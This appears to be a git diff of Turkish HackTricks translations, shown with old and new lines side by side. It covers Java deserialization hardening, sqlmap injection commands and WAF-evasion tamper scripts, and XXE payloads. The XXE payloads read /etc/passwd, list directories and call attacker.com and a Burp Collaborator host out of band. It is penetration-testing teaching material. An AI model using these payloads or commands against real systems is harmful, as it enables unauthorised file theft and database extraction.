* `gadget-probe` – ağ hizmetlerine karşı hızlı siyah kutu gadget keşfi.
|
||||
* `SerialSniffer` – `ObjectInputStream` tarafından okunan her sınıfı yazdıran JVMTI ajanı (filtreleri oluşturmak için yararlıdır).
|
||||
* `SerialSniffer` – `ObjectInputStream` tarafından okunan her sınıfı yazdıran JVMTI ajanı (filtreler oluşturmak için yararlıdır).
|
||||
* **Tespit ipucu** – filtre kararlarını ve reddedilen sınıfları günlüğe kaydetmek için `-Djdk.serialDebug=true` (JDK 22+) etkinleştirin.
|
||||
|
||||
## Güvenli `readObject()` uygulamaları için hızlı kontrol listesi
|
||||
|
||||
1. Metodu `private` yapın ve `@Serial` anotasyonunu ekleyin (statik analize yardımcı olur).
|
||||
2. Kullanıcı tarafından sağlanan metodları asla çağırmayın veya metod içinde I/O gerçekleştirmeyin – yalnızca alanları okuyun.
|
||||
3. Doğrulama gerekiyorsa, bunu deserialization'dan **sonra**, `readObject()` dışında gerçekleştirin.
|
||||
3. Doğrulama gerekiyorsa, deserialization'dan **sonra**, `readObject()` dışında gerçekleştirin.
|
||||
4. Varsayılan serileştirme yerine `Externalizable` uygulamayı tercih edin ve açık alan okumaları yapın.
|
||||
5. İç hizmetler için bile sertleştirilmiş bir `ObjectInputFilter` kaydedin (uzlaşma dayanıklı tasarım).
|
||||
|
||||
|
||||
@ -34,7 +34,7 @@
|
||||
| T | Zaman tabanlı kör | Enjeksiyonu tespit etmek için gecikmelere (`SLEEP`, `WAITFOR`) dayanır |
|
||||
| Q | Satır içi / dış kanal | `LOAD_FILE()` gibi fonksiyonlar veya DNS gibi OOB kanallar kullanır |
|
||||
|
||||
Varsayılan sıralama `BEUSTQ`'dir. Bunları yeniden düzenleyebilir veya sınırlayabilirsiniz, örneğin sadece Boolean ve Zaman tabanlı bu sırayla:
|
||||
Varsayılan sıralama `BEUSTQ`'dur. Bunları yeniden düzenleyebilir veya sınırlayabilirsiniz, örneğin sadece Boolean ve Zaman tabanlı bu sırayla:
|
||||
```bash
|
||||
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
@ -61,7 +61,7 @@ sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
|
||||
### Burp/ZAP yakalamasından
|
||||
|
||||
İsteği yakalayın ve bir req.txt dosyası oluşturun.
|
||||
İsteği yakalayın ve req.txt dosyası oluşturun.
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -138,43 +138,43 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
|
||||
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
|
||||
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
|
||||
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
|
||||
| between.py | 'BÜYÜK' operatörünü \('>'\) 'NOT BETWEEN 0 AND \#' ile değiştirir |
|
||||
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
|
||||
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| chardoubleencode.py | Verilen payload'daki tüm karakterleri çift url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\) |
|
||||
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
|
||||
| commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
|
||||
| charencode.py | Verilen payload'daki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). "%u0022" |
|
||||
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). "\u0022" |
|
||||
| equaltolike.py | '==' operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Ters eğik çizgi ile alıntıları (' ve ") kaçırır |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
| commalessmid.py | 'MID\(A, B, C\)' gibi örnekleri 'MID\(A FROM B FOR C\)' ile değiştirir |
|
||||
| concat2concatws.py | 'CONCAT\(A, B\)' gibi örnekleri 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' ile değiştirir |
|
||||
| charencode.py | Verilen payload'daki tüm karakterleri url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\) |
|
||||
| charunicodeencode.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\). "%u0022" |
|
||||
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-kodlar \(zaten kodlanmış olanları işlemden geçirmez\). "\u0022" |
|
||||
| equaltolike.py | Eşitlik operatörünün tüm örneklerini \('='\) 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır \(' ve "\) |
|
||||
| greatest.py | 'BÜYÜK' operatörünü \('>'\) 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' gibi örnekleri 'IF\(ISNULL\(A\), B, A\)' ile değiştirir |
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
|
||||
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
|
||||
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "") filtreleri) |
|
||||
| percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
|
||||
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir \(örneğin .replace\("SELECT", ""\)\) filtreleri |
|
||||
| percentage.py | Her karakterin önüne bir yüzde işareti \('%'\) ekler |
|
||||
| overlongutf8.py | Verilen payload'daki tüm karakterleri dönüştürür \(zaten kodlanmış olanları işlemden geçirmez\) |
|
||||
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
|
||||
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
|
||||
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmek için |
|
||||
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
|
||||
| space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2mssqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mysqldash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler |
|
||||
| space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |
|
||||
| sp_password.py | Payload'un sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmek için |
|
||||
| space2comment.py | Boşluk karakterini \(' '\) yorumlarla değiştirir |
|
||||
| space2dash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2hash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2morehash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından rastgele bir dize ve yeni bir satır \('\n'\) ekler |
|
||||
| space2mssqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini \(' '\) bir pound karakteri \('\#'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mysqldash.py | Boşluk karakterini \(' '\) bir tire yorumu \('--'\) ile değiştirir, ardından yeni bir satır \('\n'\) ekler |
|
||||
| space2plus.py | Boşluk karakterini \(' '\) artı \('+'\) ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini \(' '\) geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir \(&& ve |
|
||||
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
|
||||
| unmagicquotes.py | Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ile (çalışması için) |
|
||||
| unmagicquotes.py | Alıntı karakterini \('\) çok baytlı bir kombinasyon %bf%27 ile değiştirir, sonunda genel bir yorum ekler \(çalışması için\) |
|
||||
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
@ -182,6 +182,6 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
|
||||
## Referanslar
|
||||
- [SQLMap: SQL Veritabanı Açıklarını Test Etme](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
- [SQLMap: SQL Veritabanı Güvenlik Açıklarını Test Etme](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -34,7 +34,7 @@
|
||||
| U | UNION sorgusu | Aynı kanal üzerinden veri almak için `UNION SELECT` ifadelerini enjekte eder |
|
||||
| S | Yığılmış sorgular | SQL ayırıcı (`;`) ile ayrılmış ek ifadeler ekler |
|
||||
| T | Zaman tabanlı kör | Enjekte edilebilir koşulları tespit etmek için `SLEEP/WAITFOR` gecikmelerine dayanır |
|
||||
| Q | Satır içi / bant dışı | Veri çıkarmak için `LOAD_FILE()` veya DNS sızdırma gibi işlevleri kullanır |
|
||||
| Q | Satır içi / dışarıdan | Veri çıkarmak için `LOAD_FILE()` veya DNS dışa aktarma gibi işlevleri kullanır |
|
||||
|
||||
sqlmap'in takip edeceği varsayılan sıra `BEUSTQ`'dir (tüm teknikler). Hem sıralamayı hem de alt kümesini değiştirebilirsiniz. Örneğin, aşağıdaki komut **sadece** UNION sorgusu ve Zaman tabanlı kör tekniklerini deneyecek, önce UNION'u deneyecektir:
|
||||
```bash
|
||||
@ -99,7 +99,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```
|
||||
### Tespit Tekniği Ekle
|
||||
|
||||
Eğer bir SQLi bulduysanız ama sqlmap bunu tespit etmediyse, `--prefix` veya `--suffix` gibi argümanlarla tespit tekniğini zorlayabilirsiniz, ya da daha karmaşık bir durumda, bunu sqlmap tarafından kullanılan payload'lara ekleyebilirsiniz, örneğin `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` dosyasında zaman körlüğüne dayalı olarak.
|
||||
Eğer bir SQLi bulduysanız ama sqlmap bunu tespit etmediyse, `--prefix` veya `--suffix` gibi argümanlarla tespit tekniğini zorlayabilirsiniz, ya da daha karmaşık bir durumda, bunu sqlmap tarafından kullanılan payload'lara ekleyebilirsiniz, örneğin `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` dosyasında zaman körlüğü tabanlı için.
|
||||
|
||||
### Eval
|
||||
|
||||
@ -135,7 +135,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||
```
|
||||
[**Bu yazıyı okuyun** ](second-order-injection-sqlmap.md)**sqlmap ile basit ve karmaşık ikinci derece enjeksiyonların nasıl gerçekleştirileceği hakkında.**
|
||||
[**Bu yazıyı okuyun** ](second-order-injection-sqlmap.md)**sqlmap ile basit ve karmaşık ikinci derece enjeksiyonları nasıl gerçekleştireceğiniz hakkında.**
|
||||
|
||||
## Enjeksiyonu Özelleştirme
|
||||
|
||||
@ -167,49 +167,49 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
||||
| base64encode.py | Verilen yükteki tüm karakterleri Base64 ile kodlar |
|
||||
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
|
||||
| bluecoat.py | SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir |
|
||||
| chardoubleencode.py | Verilen yükteki tüm karakterleri çift url-kodlar (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| chardoubleencode.py | Verilen yükteki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| commalesslimit.py | 'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir |
|
||||
| commalessmid.py | 'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir |
|
||||
| concat2concatws.py | 'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir |
|
||||
| charencode.py | Verilen yükteki tüm karakterleri url-kodlar (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| charunicodeencode.py | Verilen yükteki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemden geçirmez). "%u0022" |
|
||||
| charunicodeescape.py | Verilen yükteki kodlanmamış karakterleri unicode-url-kodlar (zaten kodlanmış olanları işlemden geçirmez). "\u0022" |
|
||||
| equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Alıntı işaretlerini (' ve ") ters eğik çizgi ile kaçırır |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
|
||||
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
|
||||
| charencode.py | Verilen yükteki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| charunicodeencode.py | Verilen yükteki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). "%u0022" |
|
||||
| charunicodeescape.py | Verilen yükteki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlemden geçirmez). "\u0022" |
|
||||
| equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Alıntı işaretlerini (' ve ") ters eğik çizgi ile kaçırır |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
| modsecurityzeroversioned.py | Tam sorguyu sıfır versiyonlu yorum ile sarar |
|
||||
| multiplespaces.py | SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler |
|
||||
| nonrecursivereplacement.py | Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "")) filtreleri |
|
||||
| percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
|
||||
| overlongutf8.py | Verilen yükteki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
|
||||
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
|
||||
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
|
||||
| sp_password.py | Yükün sonuna 'sp_password' ekler, böylece DBMS günlüklerinden otomatik olarak gizlenir |
|
||||
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
|
||||
| percentage.py | Her karakterin önüne bir yüzde işareti ('%') ekler |
|
||||
| overlongutf8.py | Verilen yükteki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlemden geçirmez) |
|
||||
| randomcase.py | Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir |
|
||||
| randomcomments.py | SQL anahtar kelimelerine rastgele yorumlar ekler |
|
||||
| securesphere.py | Özel olarak hazırlanmış bir dize ekler |
|
||||
| sp_password.py | Yükün sonuna 'sp_password' ekler, DBMS günlüklerinden otomatik olarak gizlenmesini sağlar |
|
||||
| space2comment.py | Boşluk karakterini (' ') yorumlarla değiştirir |
|
||||
| space2dash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2hash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2morehash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler |
|
||||
| space2mssqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
|
||||
| space2mysqlblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2mysqldash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler |
|
||||
| space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
|
||||
| space2randomblank.py | Boşluk karakterini (' ') geçerli bir alternatif karakter setinden rastgele bir boş karakter ile değiştirir |
|
||||
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |
|
||||
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
|
||||
| unmagicquotes.py | Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir ve sonunda genel bir yorum ekler (çalışması için) |
|
||||
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
|
||||
| unmagicquotes.py | Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir ve sonunda genel bir yorum ekler (çalışması için) |
|
||||
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
| versionedkeywords.py | Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| versionedmorekeywords.py | Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar |
|
||||
| xforwardedfor.py | Sahte bir HTTP başlığı 'X-Forwarded-For' ekler |
|
||||
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
## Referanslar
|
||||
- [SQLMap: SQL Veritabanı Güvenlik Açıklarını Test Etme](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# XXE - XEE - XML Dışsal Varlık
|
||||
# XXE - XEE - XML Dış Varlığı
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,10 +6,10 @@
|
||||
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
|
||||
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişkiyi önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
||||
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
||||
- **Özel ve Dışsal Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dışsal varlıklar, özellikle XML Dışsal Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
@ -43,13 +43,13 @@ Bu ilk durumda, SYSTEM "_**file:///**etc/passwd_" ifadesinin de çalışacağın
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers laboratuvarları durumu değil)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin.
|
||||
Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -65,7 +65,7 @@ Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığım
|
||||
|
||||
### Dizin listeleme
|
||||
|
||||
**Java** tabanlı uygulamalarda, bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (dosya yerine sadece dizini istemek):
|
||||
**Java** tabanlı uygulamalarda, XXE aracılığıyla bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (sadece dosya yerine dizini istemek):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -83,17 +83,17 @@ Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabili
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
**Daha önce bahsedilen tekniği** kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediğindendir**, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
|
||||
Kullanarak **önceki yorumlanan teknik** sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak onun zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - Dışı kanaldan veri sızdırma
|
||||
### "Kör" SSRF - Veriyi dışarıya sızdırma
|
||||
|
||||
